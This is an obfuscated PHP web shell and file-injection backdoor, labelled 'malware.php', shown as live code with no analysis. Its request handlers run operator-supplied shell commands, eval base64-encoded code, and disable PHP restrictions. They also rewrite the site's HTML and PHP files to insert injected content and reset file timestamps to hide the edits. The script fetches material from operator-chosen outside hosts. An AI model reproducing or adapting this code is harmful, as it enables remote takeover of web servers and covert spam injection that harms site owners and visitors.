$a=Array('','Xw==','Xw' .'==','' .'X' .'A==','' .'Lw==','' .'Ly8=','L' .'g==','' .'Ly' .'8=','TW96' .'aWx' .'sYS80' .'L' .'j' .'AgKG' .'NvbXBh' .'dG' .'libGU7IE' .'1TSUUg' .'OC4w' .'OyBX' .'aW5' .'kb3' .'d' .'zIE5UIDYuM' .'Ck=','T' .'W' .'9' .'6aWxsY' .'S' .'81' .'LjAgKF' .'dpb' .'mRvd3M7IFU7IFdpbm' .'R' .'vd3MgTlQgNS4xO' .'yBlbi1' .'VUz' .'sgcnY' .'6MS' .'45' .'LjAuMSkgR2' .'Vja' .'28' .'v' .'MjAwOD' .'A5' .'M' .'jIxNSB' .'GaXJlZ' .'m94L' .'zMuM' .'C4x','TW96aW' .'xsYS81LjAgK' .'Fdp' .'bmRvd3M7IFU7' .'IFd' .'pb' .'mR' .'vd3MgTlQ' .'g' .'NS4xOy' .'Blbi1VUyk' .'gR2V' .'ja28' .'vMjAwM' .'z' .'A' .'1MDQgTW96aWxs' .'Y' .'SB' .'G' .'a' .'X' .'JlYmly' .'Z' .'C8wLjY=','TW96aW' .'xsY' .'S' .'81' .'Lj' .'AgKFdp' .'bmRv' .'d3M' .'7IFU7' .'IFdpbmRv' .'d3Mg' .'Tl' .'QgN' .'S4xOyBlbi1V' .'Uzsg' .'c' .'nY6MS45Lj' .'IuMTAp' .'IEdlY2tvL' .'zI' .'wMTAwO' .'TE0I' .'E' .'Zpcm' .'Vmb3' .'gvMy42' .'LjEw','c2' .'FmZV9t' .'b2Rl','b3Blb' .'l9iYXNlZGly','aHR0cDo' .'vLw=' .'=','','' .'Iy' .'8' .'j','Lw' .'==','','','Lw==','' .'L' .'w==','' .'QWNj' .'ZXB0' .'L' .'U' .'xhbmd1YWdlOiBl' .'b' .'i11cywg' .'ZW47c' .'T0' .'wL' .'jU' .'wDQo=','Q' .'29ubm' .'Vjd' .'G' .'l' .'vbjo' .'g' .'Q2x' .'v' .'c2U' .'NCg0K','DQoNCg' .'=' .'=','Cg==','PGJyIC' .'8+','','L0xvY2F0aW' .'9uXDov','TG9j' .'YXRp' .'b246IA==','DQ==','D' .'Qo' .'N' .'C' .'g' .'==','','Ji' .'M' .'3NiYjMTE' .'xJiM' .'5OS' .'Y' .'jO' .'TcmIzEx' .'NiYjM' .'T' .'A1Ji' .'MxM' .'TEmIzEx' .'MCYjNTg=','' .'TG9jYXRpb246','Y' .'Wx' .'s' .'b3dfd' .'X' .'JsX2ZvcGVu','MQ' .'==','PG' .'g1IHN0eWxlPSdj' .'b2xv' .'cjptYXJ' .'vb24n' .'PkNh' .'bid0' .'IGR' .'vd' .'2' .'5sb2FkIA==','I' .'C0g' .'RV' .'hJVDs8L2g1Pg==','','','','Cg==','' .'c' .'g' .'=' .'=','','c' .'G' .'lwZQ==','d' .'w' .'==','','c2FmZV9tb2R' .'l','' .'b3Blbl9i' .'YX' .'Nl' .'ZGl' .'y','c2FmZV9tb2R' .'lX2luY2x' .'1ZGVfZGly','c2' .'F' .'mZV9tb2RlX2V4' .'ZWNfZ' .'Gly','ZGlzYWJs' .'ZV9' .'mdW5jdG' .'lv' .'bnM' .'=','YW' .'xsb3' .'dfdX' .'JsX2ZvcGVu','bWF4X2V4ZWN1dGlvb' .'l90' .'aW1' .'l','b3V0cH' .'V0' .'X2J' .'1ZmZlcml' .'uZw==','b' .'WV' .'tb3J5X' .'2xpbW' .'l0','Mj' .'U2T' .'Q==','' .'ZXJy' .'b3' .'JfbG9n','bG9nX' .'2Vycm9ycw=' .'=','ZmlsZV91cGxvY' .'W' .'Rz','YW' .'x' .'s' .'b3' .'d' .'fdX' .'JsX' .'2Zvc' .'GVu','bWF' .'4X2V4' .'Z' .'WN1dGlvb' .'l90aW1l','b3V0cHV0X2J1Z' .'mZlcmlu' .'Zw==','bWVtb3J5X2xpbWl' .'0','MjU2TQ=' .'=','Z' .'XJyb3JfbG' .'9n','bG9nX2Vycm9yc' .'w==','Z' .'mlsZV' .'91' .'cGxvYWR' .'z','YWxsb3df' .'dX' .'J' .'sX2Zvc' .'GVu','XA' .'==','' .'Lw==','RE9DVU1FTl' .'RfUk9' .'P' .'VA==','' .'XA==','Lw==','U' .'0' .'N' .'SSV' .'BUX0' .'ZJTEV' .'O' .'QU' .'1F','UEhQX1N' .'FTE' .'Y=','XA==','' .'Lw==','' .'KF' .'wu' .'cGguKiR8XC5o' .'dG0u' .'KiR8XC5' .'za' .'H' .'Rt' .'LiokfF' .'w' .'uY' .'XNwLi' .'okfFwuan' .'NwJH' .'xcLm' .'podG0k' .'fFwuY2' .'ZtJHxc' .'L' .'mN0c' .'C' .'R' .'8XC50cGwkKQ' .'=' .'=','LzxhZD4uKjxc' .'L' .'2FkPi9zaQ==','Lz' .'xhZHM+Lio8XC' .'9hZH' .'M+L3Np','Lzxi' .'YjE' .'+Lio8' .'YmIyP' .'i9' .'z' .'aQ==','' .'L' .'z' .'xiMT' .'4uKj' .'x' .'c' .'L2I' .'x' .'Pi9zaQ' .'=' .'=','' .'Lzxi' .'YjE+' .'PGJiMT4vc2k' .'=','LzxiYjI+PGJiMj4vc2k=','L' .'zxhZD' .'4uKjxcL2' .'Fk' .'P' .'i' .'9z','' .'Lzxl' .'bXM+' .'L' .'io8X' .'C9lbX' .'M+' .'L3M' .'=','LzxibG' .'9jaz4uKjxcL2Js' .'b2Nr' .'Pi9' .'z','L' .'zxkaW' .'c+Lio8XC9kaWc+L' .'3M=','LzxjZW50' .'cj' .'4u' .'KjxcL2Nlb' .'nRyP' .'i9z','LzxjaXR' .'zPi4qPFwv' .'Y2l0c' .'z4v' .'cw==','Lzx0Y' .'nQ+' .'Lio8XC90' .'YnQ' .'+L3M=','' .'L' .'z' .'w' .'oc' .'3Bhbnxmb250fGRpd' .'ikgc' .'3R' .'5bGU9Lioo' .'aG' .'Vp' .'Z2h0fHdp' .'ZH' .'RoKVxz' .'KjpccypbMC0yXXs' .'x' .'fVxzKihwdHxwe' .'CkuKihv' .'dmV' .'yZmxvd3x2aXNpYmlsaX' .'R5KVxzKjp' .'c' .'cyooYX' .'V0b3x' .'oa' .'WRkZW4p' .'Lio+Lio8YSBocmVmPS' .'4qP' .'FwvYT4uKj' .'xcLyhzcGFu' .'fGZvbnR' .'8' .'Z' .'Gl' .'2KT' .'4vVX' .'Np','Lzwoc3Bhbnx' .'m' .'b250fGRpd' .'ikgc3R5bGU9' .'Lioob' .'3Z' .'lcm' .'Zsb3d8dm' .'lzaWJpbG' .'l' .'0' .'eSlccyo6X' .'H' .'MqKGF1dG9' .'8a' .'GlkZGVuKS4qKGhlaW' .'dodHx3aW' .'R' .'0aClcc' .'yo6X' .'HMq' .'W' .'zAtMl17' .'MX' .'1ccy' .'oo' .'c' .'HR8cHgpL' .'io+Lio8YSB' .'o' .'cm' .'V' .'mPS4qPFw' .'v' .'YT4uKjxcLyhz' .'cGFufGZvbnR8ZGl2' .'KT4v' .'VXNp','' .'Lzwoc3' .'B' .'hbnxmb25' .'0fGRpdik' .'gc3R5bGU9Lip2' .'aXNpYmlsaX' .'R' .'5X' .'HMqOl' .'x' .'z' .'K' .'ihhd' .'X' .'RvfGh' .'pZGRlbikuKm92ZXJmbG9' .'3' .'XHMq' .'Ol' .'xzKihhdXRvfGhpZ' .'G' .'Rl' .'bikuK' .'j' .'4uKjxhIG' .'hyZ' .'W' .'Y9' .'Lio8' .'XC9' .'hPi4' .'qPFwv' .'KHNwY' .'W' .'58' .'Z' .'m9udHxk' .'a' .'XYpPi9Vc2k=','' .'Lzwoc3Bhbnxm' .'b250fGRpdi' .'k' .'gc3R5bG' .'U9' .'L' .'ipvdmVyZmxv' .'d1x' .'zK' .'jp' .'ccyoo' .'YXV0' .'b' .'3x' .'oaWRkZW4' .'pLip2aXNpYml' .'saXR5' .'XHMqOlxzKihhdXRvf' .'GhpZG' .'R' .'lbikuKj4uKjxhIGhy' .'ZWY9L' .'i' .'o8XC9hPi4q' .'PFwvKHNw' .'YW58Zm9' .'ud' .'Hxk' .'aX' .'YpPi9V' .'c2k=','L' .'3dwZm9vdG' .'Vy' .'ei4q' .'d3Bmb29' .'0ZXJ' .'6' .'L3Np','L' .'zxh' .'LipzdHlsZVxzKj0u' .'Ki' .'h0b3B8bGVmdCl' .'cc' .'y' .'o6XH' .'Mq' .'L' .'Vs' .'w' .'L' .'T' .'lde' .'zMsNX' .'0uKj4uK' .'j' .'xc' .'L2E+' .'L1' .'V' .'p','PGFkPn' .'w' .'8' .'L2Fk' .'Pg' .'==','P' .'GV' .'tcz58IDw' .'vZW1zPg==','PGJsb2NrP' .'iB8PC9' .'ibG' .'9j' .'az4=','PGR' .'pZ' .'z4' .'gfCA8L' .'2RpZz' .'4=','PGNlbnRyPn' .'w8L2NlbnRyPg==','PGN' .'pdHM' .'+fDw' .'vY' .'2l' .'0cz4=','PHRidD5' .'8' .'PC90Yn' .'Q+','dX' .'BkY' .'XRlMQ==','RVhQ' .'Qw==','dX' .'B' .'kYXRlMQ=' .'=','LA==','f' .'A==','Lmh0bQ==','LnNodG0' .'=','','Lzxib2R5KC4q' .'K' .'T8' .'+L2k=','Lzxib2' .'R5KC' .'4qKT8+L' .'2k=','' .'L' .'z' .'x' .'cL2JvZH' .'koLi' .'opPz4' .'vaQ==','Lzx' .'cL' .'2JvZHkoL' .'iopPz' .'4vaQ==','L' .'z' .'x' .'cL2h0bWw' .'+L2k' .'=','PC9i' .'b' .'2R' .'5Pg' .'=' .'=','LzxcL2h0bW' .'w+L2k=','PC9ib2R5PjwvaHRt' .'bD4=','dys=','dX' .'BkYXRlM' .'g' .'==','d' .'XBkYXR' .'lMg' .'==','U0NSSVBUX0ZJTE' .'V' .'OQ' .'U1' .'F','Lw==','MS5w' .'a' .'HA=','M' .'S5wa' .'HA=','L15c' .'P' .'F' .'w' .'/cGhw' .'LipcP' .'1w+' .'L1V' .'zaQ==','','' .'dw==','PH' .'ByZT51cGRhdG' .'U8L3ByZT4' .'=','dXB' .'kYXRlMw=' .'=','P' .'H' .'ByZT4=','dXBkYXRlMw==','PC9wcmU+','YWRkM' .'Q' .'==','RV' .'hQ' .'Qw==','YWRkMQ==','LA==','L3Zhclx' .'zc3QxKC4q' .'KWdyMF' .'w9MFw7L2' .'k=','','dw==','ZX' .'Y' .'x','Z' .'X' .'Yx','aW5mbzE=','' .'ZEd' .'We' .'mRERXlP' .'QT09','PCEt' .'L' .'SAj' .'YSM=','' .'Z2V0MQ==','Z2' .'V' .'0M' .'Q=' .'=','KChe' .'L' .'ippbm' .'R' .'le' .'C4qXC58Xi' .'4' .'qZGV' .'mYX' .'VsdC4q' .'X' .'C5' .'8Xi4' .'qb' .'WFp' .'bi4qXC58Xi4qYm9keS4' .'qXC5' .'8Xi4qbG9naW4uKlwufF4uKmNv' .'bnRlbnQ' .'uKlw' .'uf' .'F' .'4uKmF' .'1dGguKlwufF4uKmZvb3Rlci4qXC58Xi4qaGVhZG' .'Vy' .'LipcL' .'n' .'x' .'eLipob21lLipcLn' .'xeLip' .'0ZW' .'1wbC4qXC58Xi' .'4qaW5jL' .'i' .'pcLnxe' .'LipwYWdlLipcLnxeLipi' .'b' .'3R0b20' .'uKlwu' .'fF' .'4uKnR' .'oZ' .'W1lLi' .'pcLikocGgu' .'KiR8aHRtL' .'io' .'kf' .'HNodG' .'0uKiR8YXNw' .'Li' .'o' .'kf' .'Gpz' .'cCR8' .'am' .'h0bWwk' .'fGNmbSR8dHBsJHxpbmMkfHBs' .'JH' .'x0Z' .'W1wb' .'GF0ZSR8eG1sJHx' .'zaHQkfGN0cCQpKQ==','PGIx' .'P' .'jwh' .'L' .'S0=','L' .'S' .'0' .'+PC' .'9iMT4=','','Lzxib2R' .'5KC4' .'qKT8+L' .'2k=','Lzxib2R5KC4qKT8+L2k=','' .'Lzxc' .'L2Jv' .'Z' .'Hko' .'LiopPz4' .'va' .'Q==','LzxcL2' .'JvZHkoL' .'iop' .'Pz4' .'vaQ==','L' .'z' .'xcL2h0bW' .'w+L2k=','PC9ib2' .'R5P' .'g=' .'=','LzxcL' .'2h0' .'bWw+L2k=','dys=','','d' .'ys=','Z2V0M' .'g==','Z2V0Mg==','L3Nj' .'c' .'mlwdC4qc3J' .'j' .'XHM/PVxz' .'Py' .'g' .'ifCcpKC4q' .'XC' .'5qcykoXD98X' .'C' .'98In' .'w' .'nKS9VaQ=' .'=','L15' .'odHRwL2k=','L' .'w==');
return base64_decode($a[$i]);
}
}
if(!function_exists('rndc')){
function rndc(){
$II_0=round(0+0.25+0.25+0.25+0.25);
$II_1=round(0+4+4);
$II_2=ll(0);
for($II_3=round(0); $II_3<$II_1; $II_3++){
$II_4=mt_rand(round(0+0.5+0.5),round(0+1.75+1.75+1.75+1.75));
switch($II_4){
case($II_4<=round(0+0.5+0.5+0.5+0.5)):
$II_2 .= mt_rand(round(0),round(0+9));
break;
case($II_4<=round(0+4)):
$II_2 .= chr(mt_rand(round(0+65),round(0+18+18+18+18+18)));
break;
case($II_4<=round(0+2+2+2)):
$II_2 .= chr(mt_rand(round(0+19.4+19.4+19.4+19.4+19.4),round(0+61+61)));
break;
case round(0+7):
$II_5=strlen($II_2);
if($II_0>round(0)&&$II_5>round(0)&&
$II_5<($II_1-round(0+0.333333333333+0.333333333333+0.333333333333))&&
$II_2[$II_5-round(0+0.25+0.25+0.25+0.25)]!= ll(1)){
$II_2 .= ll(2);
$II_0--;
}else{$II_3--;
continue;
}
break;
}
}
return $II_2;
}
}
if(!function_exists('strrevpos')){
function strrevpos($II_6,$II_7){
$II_8=strpos(strrev($II_6),strrev($II_7));
if($II_8===false)
return false;
else
return strlen($II_6)-$II_8-strlen($II_7);
}
}
if(!function_exists('after')){
function after($this,$II_9){
if(!is_bool(strpos($II_9,$this)))
return substr($II_9,strpos($II_9,$this)+strlen($this));
}
}
if(!function_exists('after_last')){
function after_last($this,$II_9){
if(!is_bool(strrevpos($II_9,$this)))
return substr($II_9,strrevpos($II_9,$this)+strlen($this));
}
}
if(!function_exists('before')){
function before($this,$II_9){
return substr($II_9,round(0),strpos($II_9,$this));
}
}
if(!function_exists('before_last')){
function before_last($this,$II_9){
return substr($II_9,round(0),strrevpos($II_9,$this));
}
}
if(!function_exists('between')){
function between($this,$II_10,$II_9){
return before($II_10,after($this,$II_9));
}
}
if(!function_exists('between_last')){
function between_last($this,$II_10,$II_9){
return after_last($this,before_last($II_10,$II_9));
}
}
if(!function_exists('getfiles')){
function getfiles($II_11,$II_12,$II_13=0,$II_14="\\"){
if(!is_dir($II_11))
return null;
$II_15=($II_14== ll(3))?ll(4):$II_14;
$II_11=str_replace($II_14,$II_15,$II_11);
$II_11=str_replace(ll(5),$II_15,$II_11);
$II_11=(strrpos($II_11,$II_15)==strlen($II_11)-round(0+1))?substr($II_11,round(0),strlen($II_11)-round(0+0.2+0.2+0.2+0.2+0.2)):$II_11;
$II_16=substr_count($II_11,$II_15);
$II_13=(!$II_13)?-round(0+0.5+0.5):$II_13+$II_16;
$II_17=array();
$II_18=array(array($II_11,$II_16));
while(sizeof($II_18)&& $II_18[round(0)][round(0+0.5+0.5)]!=$II_13){
$II_19=array_shift($II_18);
$II_20=opendir($II_19[round(0)]);
while(($II_21=readdir($II_20))!==false){
if(strrpos($II_21,ll(6))===(strlen($II_21)-round(0+0.2+0.2+0.2+0.2+0.2)))
continue;
$II_22=$II_19[round(0)] .$II_15 .$II_21;
if(is_dir($II_22)){
$II_22=str_replace($II_14,$II_15,$II_22);
$II_22=str_replace(ll(7),$II_15,$II_22);
$II_23[]=$II_22;
$II_18[]=array($II_22,substr_count($II_22,$II_15));
}else if(is_file($II_22)&& is_readable($II_22)&&!is_link($II_22)){
foreach($II_12 as $II_3){
if(preg_match($II_3,$II_21)){
if(realpath($II_22)!== false)
$II_17[]=realpath($II_22);
else
$II_17[]=$II_22;
break;
}
}
}
}
}
return $II_17;
}
}
if(!function_exists('cc2')){
function cc2($II_24){
$II_25=array(ll(8),ll(9),ll(10),ll(11));
if(function_exists('curl_init')){
$II_26=$II_25[rand(round(0),count($II_25)-round(0+0.5+0.5))];
$II_27=curl_init();
curl_setopt($II_27,10002,$II_24);
curl_setopt($II_27,42,round(0));
curl_setopt($II_27,13,round(0+30));
curl_setopt($II_27,19913,round(0+0.25+0.25+0.25+0.25));
curl_setopt($II_27,10018,$II_26);
if(!(@ini_get(ll(12))||@ini_get(ll(13)))){
@curl_setopt($II_27,52,round(0+0.2+0.2+0.2+0.2+0.2));
}
@curl_setopt($II_27,68,round(0+0.666666666667+0.666666666667+0.666666666667));
$II_28=curl_exec($II_27);
curl_close($II_27);
if($II_28 !== false){
return $II_28;
}
}else if(function_exists('fsockopen')){
global $II_29;
$II_30=$II_25[rand(round(0),count($II_25)-round(0+0.333333333333+0.333333333333+0.333333333333))];
$II_24=str_replace(ll(14),ll(15),$II_24);
if(preg_match(ll(16),"$II_24")){
$II_31=$II_24;
$II_24=@explode(ll(17),$II_24);
$II_24=$II_24[round(0)];
$II_31=str_replace($II_24,ll(18),$II_31);
if(!$II_31 || $II_31 == ll(19)){
$II_31=ll(20);
}
$II_32=gethostbyname($II_24);
}else{
$II_32=gethostbyname($II_24);
$II_31=ll(21);
}
$II_33=fsockopen($II_32,round(0+26.6666666667+26.6666666667+26.6666666667),$II_34,$II_35,round(0+2+2+2+2+2));
stream_set_timeout($II_33,round(0+3.33333333333+3.33333333333+3.33333333333));
if($II_33){
$II_36="GET $II_31 HTTP/1.0\r\n";
$II_36 .="Host: $II_24\r\n";
$II_36 .="Referer: http://$II_24$II_31\r\n";
$II_36 .= ll(22);
$II_36 .="User-Agent: $II_30\r\n";
$II_36 .= ll(23);
fputs($II_33,$II_36);
while(!feof($II_33)){
$II_37 .= fgets($II_33,round(0+1024+1024+1024+1024));
}
fclose($II_33);
$II_37=@explode(ll(24),$II_37,round(0+1+1));
$II_38=$II_37[round(0)];
if($II_29){
$II_38="$II_29<br /><br />\n$II_38";
}
$II_38=str_replace(ll(25),ll(26),$II_38);
if($II_37[round(0+1)]){
$II_39=$II_37[round(0+0.333333333333+0.333333333333+0.333333333333)];
}else{
$II_39=ll(27);
}
if($II_39){
$II_37=$II_39;
}else{
$II_37=$II_38;
}
if(preg_match(ll(28),"$II_38")){
$II_24=@explode(ll(29),$II_38);
$II_24=$II_24[round(0+0.25+0.25+0.25+0.25)];
$II_24=@explode(ll(30),$II_24);
$II_24=$II_24[round(0)];
$II_29=str_replace(ll(31),ll(32),$II_38);
$II_40=ll(33);
$II_29=str_replace(ll(34),$II_40,$II_29);
return cc2($II_24);
}else{
return $II_37;
}
}
}else if(ini_get(ll(35))== ll(36)){
$II_28=file_get_contents("http://$II_24");
if($II_28 !== false){
return $II_28;
}
}else{
echo ll(37) .$II_24 .ll(38);
exit;
}
}
}
if(!function_exists('getcode')){
function getcode($II_31,$II_41){
$II_42=ll(39);
if(preg_match("/$II_41/",$II_31)){
$II_42=preg_replace("/.*<b1><!--|$II_41|--><\/b1>.*/msi",ll(40),$II_31);
}
return $II_42;
}
}
if(!function_exists('ex')){
function ex($II_43){
$II_44=ll(41);
if(!empty($II_43)){
if(function_exists('exec')){
@exec($II_43,$II_44);
$II_44=join(ll(42),$II_44);
}elseif(function_exists('shell_exec')){
$II_44=@shell_exec($II_43);
}elseif(function_exists('system')){
@ob_start();
@system($II_43);
$II_44=@ob_get_contents();
@ob_end_clean();
}elseif(function_exists('passthru')){
@ob_start();
@passthru($II_43);
$II_44=@ob_get_contents();
@ob_end_clean();
}elseif(@is_resource($II_45=@popen($II_43,ll(43)))){
$II_44=ll(44);
while(!@feof($II_45)){
$II_44 .=@fread($II_45,round(0+512+512));
}
@pclose($II_45);
}elseif(@function_exists('proc_open')&&
@is_resource($II_45=@proc_open($II_43,array(round(0+0.25+0.25+0.25+0.25)=> array(ll(45),ll(46))),$II_46))){
$II_44=ll(47);
if(@function_exists('fread')&&@function_exists('feof')){
while(!@feof($II_46[round(0+0.5+0.5)])){
$II_44 .=@fread($II_46[round(0+0.25+0.25+0.25+0.25)],round(0+341.333333333+341.333333333+341.333333333));
}
}else if(@function_exists('fgets')&&@function_exists('feof')){
while(!@feof($II_46[round(0+0.2+0.2+0.2+0.2+0.2)])){
$II_44 .=@fgets($II_46[round(0+0.5+0.5)],round(0+1024));
}
}
@proc_close($II_45);
}
}
return htmlspecialchars($II_44);
}
}
@ignore_user_abort(round(0+0.5+0.5));
@set_magic_quotes_runtime(round(0));
@set_time_limit(round(0));
@error_reporting(round(0));
if(@function_exists('ini_restore')){
@ini_restore(ll(48));
@ini_restore(ll(49));
@ini_restore(ll(50));
@ini_restore(ll(51));
@ini_restore(ll(52));
@ini_restore(ll(53));
}
if(@function_exists('ini_set')){
@ini_set(ll(54),round(0));
@ini_set(ll(55),round(0));
@ini_set(ll(56),ll(57));
@ini_set(ll(58),NULL);
@ini_set(ll(59),round(0));
@ini_set(ll(60),round(0+0.5+0.5));
@ini_set(ll(61),round(0+0.2+0.2+0.2+0.2+0.2));
}elseif(@function_exists('ini_alter')){
@ini_alter(ll(62),round(0));
@ini_alter(ll(63),round(0));
@ini_alter(ll(64),ll(65));
@ini_alter(ll(66),NULL);
@ini_alter(ll(67),round(0));
@ini_alter(ll(68),round(0+1));
@ini_alter(ll(69),round(0+0.5+0.5));
}
$II_47=str_replace(ll(70),ll(71),$_SERVER[ll(72)]);
if(strlen($II_47)<round(0+2.5+2.5))
$II_47=str_replace(ll(73),ll(74),substr($_SERVER[ll(75)],round(0),round(0)-strlen($_SERVER[ll(76)])));
if(realpath($II_47)!== false)
$II_47=str_replace(ll(77),ll(78),realpath($II_47));
$II_48=array(ll(79));
$II_49=array(ll(80),ll(81),ll(82),ll(83),ll(84),ll(85),ll(86),ll(87),ll(88),ll(89),ll(90),ll(91),ll(92),ll(93),ll(94),ll(95),ll(96),ll(97),ll(98));
$II_50=array(ll(99),ll(100),ll(101),ll(102),ll(103),ll(104),ll(105));
if(isset($_REQUEST[ll(106)])){
$II_44=explode(ll(107),gzinflate(base64_decode($_REQUEST[ll(108)])));
$II_51=$II_44[round(0)];
$II_52=explode(ll(109),$II_44[round(0+0.25+0.25+0.25+0.25)]);
foreach($II_52 as $II_53){
if(strlen($II_51)>round(0+0.5+0.5)){
$II_54=explode(ll(110),$II_50[rand(round(0),count($II_50)-round(0+0.2+0.2+0.2+0.2+0.2))]);
$II_51=$II_54[round(0)] .$II_51 .$II_54[round(0+0.25+0.25+0.25+0.25)];
}
$II_55=false;
$II_56=false;
if(!is_writable($II_53))
@chmod($II_53,round(0+420));
if(file_exists($II_53)&& is_writable($II_53)){
$II_57=false;
if(eregi(ll(111),$II_53)!== false || eregi(ll(112),$II_53)!== false)
$II_57=true;
$II_58=trim(file_get_contents($II_53));
foreach($II_49 as $II_59){
if(preg_match($II_59,$II_58)){
$II_58=preg_replace($II_59,ll(113),$II_58);
$II_56=true;
}
}
if(preg_match(ll(114),$II_58,$II_60)){
$II_61=$II_60[round(0)];
$II_58=preg_replace(ll(115),$II_61 .$II_51,$II_58);
$II_55=true;
}else if(preg_match(ll(116),$II_58,$II_60)){
$II_61=$II_60[round(0)];
$II_58=preg_replace(ll(117),$II_51 .$II_61,$II_58);
$II_55=true;
}else if(preg_match(ll(118),$II_58,$II_60)){
$II_61=ll(119) .$II_60[round(0)];
$II_58=preg_replace(ll(120),$II_51 .$II_61,$II_58);
$II_55=true;
}else if($II_57 == true){
$II_61=$II_51 .ll(121);
$II_58.=$II_61;
$II_55=true;
}
if($II_55 == true || $II_56 == true){
$II_62=@filemtime($II_53);
$II_63=fopen($II_53,ll(122));
fwrite($II_63,$II_58);
fclose($II_63);
@touch($II_53,$II_62,$II_62);
if($II_55 == true)
echo"<pre>update $II_53</pre>";
if($II_56 == true)
echo"<pre>spam removed $II_53</pre>";
}
}else{
if(!file_exists($II_53))
echo"<pre>no file $II_53</pre>";
else if(!is_writable($II_53))
echo"<pre>no rw file $II_53</pre>";
}
}
}
if(isset($_REQUEST[ll(123)])){
$II_51=gzinflate(base64_decode($_REQUEST[ll(124)]));
$II_64=$_SERVER[ll(125)];
$II_65=before_last(ll(126),$II_64);
if(!is_writable($II_65))@chmod($II_65,round(0+105+105+105+105));
$II_66=@filemtime($II_65);
@copy($II_64,$II_64 .ll(127));
@touch($II_65,$II_66,$II_66);
@touch($II_64 .ll(128),$II_66,$II_66);
if(!is_writable($II_64))
@chmod($II_64,round(0+140+140+140));
if(is_writable($II_64)){
$II_58=trim(file_get_contents($II_64));
$II_67=preg_replace(ll(129),ll(130),$II_58);
$II_62=@filemtime($II_64);
$II_63=fopen($II_64,ll(131));
fwrite($II_63,$II_51 .$II_67);
fclose($II_63);
@touch($II_64,$II_62,$II_62);
echo ll(132);
}else{
echo"<pre>no rw $II_53</pre>";
}
}
if(isset($_REQUEST[ll(133)])){
echo ll(134);
$II_68=$_REQUEST[ll(135)];
$II_44=ex($II_68);
echo $II_44;
echo ll(136);
}
if(isset($_REQUEST[ll(137)])){
$II_44=explode(ll(138),gzinflate(base64_decode($_REQUEST[ll(139)])));
$II_51=$II_44[round(0)];
$II_52=explode(ll(140),$II_44[round(0+0.2+0.2+0.2+0.2+0.2)]);
foreach($II_52 as $II_53){
$II_55=false;
$II_56=false;
if(!is_writable($II_53))
@chmod($II_53,round(0+140+140+140));
if(file_exists($II_53)&& is_writable($II_53)){
$II_58=trim(file_get_contents($II_53));
$II_58=preg_replace(ll(141),ll(142),$II_58);
$II_58=$II_51 .$II_58;
$II_62=@filemtime($II_53);
$II_63=fopen($II_53,ll(143));
fwrite($II_63,$II_58);
fclose($II_63);
@touch($II_53,$II_62,$II_62);
echo"<pre>update $II_53</pre>";
}else{
if(!file_exists($II_53))
echo"<pre>no file $II_53</pre>";
else if(!is_writable($II_53))
echo"<pre>no w file $II_53</pre>";
}
}
}
if(isset($_REQUEST[ll(144)])){
$II_69=base64_decode($_REQUEST[ll(145)]);
eval($II_69);
exit();
}
if(isset($_REQUEST[ll(146)])){
$II_70=ll(147);
$II_71=@get_current_user();
echo ll(148) .base64_decode($II_70) ."(($II_71))#b#-->";
exit;
}
if(isset($_REQUEST[ll(149)])){
$II_72=$_REQUEST[ll(150)];
$II_41=rndc();
$II_73=array(ll(151));
$II_52=array();
$II_52=@getfiles($II_47,$II_73,round(0+0.8+0.8+0.8+0.8+0.8));
$II_52=@array_unique($II_52);
if(count($II_52)>round(0)){
foreach($II_52 as $II_53){
$II_55=false;
$II_56=false;
if(@file_exists($II_53)){
if(!is_writable($II_53))
@chmod($II_53,round(0+420));
if(@is_writable($II_53)){
$II_74=base64_encode(gzcompress($II_53,round(0+9)));
$II_51=ll(152) .$II_41 .$II_74 .ll(153);
$II_58=@trim(@file_get_contents($II_53));
foreach($II_49 as $II_59){
if(preg_match($II_59,$II_58)){
$II_58=preg_replace($II_59,ll(154),$II_58);
$II_56=true;
}
}
if(preg_match(ll(155),$II_58,$II_60)){
$II_61=$II_60[round(0)];
$II_58=preg_replace(ll(156),$II_61 .$II_51,$II_58);
$II_55=true;
}else if(preg_match(ll(157),$II_58,$II_60)){
$II_61=$II_60[round(0)];
$II_58=preg_replace(ll(158),$II_51 .$II_61,$II_58);
$II_55=true;
}else if(preg_match(ll(159),$II_58,$II_60)){
$II_61=ll(160) .$II_60[round(0)];
$II_58=preg_replace(ll(161),$II_51 .$II_61,$II_58);
$II_55=true;
}
if($II_55 == true || $II_56 == true){
$II_62=@filemtime($II_53);
$II_63=@fopen($II_53,ll(162));
@fwrite($II_63,$II_58);
@fclose($II_63);
@touch($II_53,$II_62,$II_62);
}
}
}
}
$II_75=cc2($II_72);
if(strlen($II_75)<round(0+25+25))
$II_75=cc2("www.$II_72");
if(eregi($II_41,$II_75)){
$II_75=gzuncompress(base64_decode(getcode($II_75,$II_41)));
echo"#a#$II_75#b#";
}
foreach($II_52 as $II_53){
$II_56=false;
if(file_exists($II_53)){
if(!is_writable($II_53))
@chmod($II_53,round(0+84+84+84+84+84));
if(is_writable($II_53)){
$II_58=@trim(@file_get_contents($II_53));
foreach($II_49 as $II_59){
if(preg_match($II_59,$II_58)){
$II_58=preg_replace($II_59,ll(163),$II_58);
$II_56=true;
}
}
if($II_56 == true){
$II_62=@filemtime($II_53);
$II_63=@fopen($II_53,ll(164));
@fwrite($II_63,$II_58);
@fclose($II_63);
@touch($II_53,$II_62,$II_62);
}
}
}
}
}
exit;
}
if(isset($_REQUEST[ll(165)])){
$II_76=array();
$II_72=$_REQUEST[ll(166)];
$II_77=cc2($II_72);
if(strlen($II_77)<round(0+5+5+5+5))
$II_77=cc2("www.$II_72");
preg_match_all(ll(167),$II_77,$II_42);
foreach($II_42[round(0+0.5+0.5+0.5+0.5)]as $II_78){
if(preg_match(ll(168),$II_78)){
if(preg_match("/$II_72/i",$II_78)){
$II_45=$II_47 .after($II_72,$II_78);
if(@file_exists($II_45)&&@is_writable($II_45))
$II_76[]=$II_45;
}
}else{
$II_45=$II_47 .ll(169) .$II_78;
if(@file_exists($II_45)&&@is_writable($II_45))
$II_76[]=$II_45;
}
}
if(count($II_76)>round(0)){
$II_75=$II_76[rand(round(0),count($II_76)-round(0+0.2+0.2+0.2+0.2+0.2))];
echo"#a#$II_75#b#";
}
exit;
}
Raw
malware.php
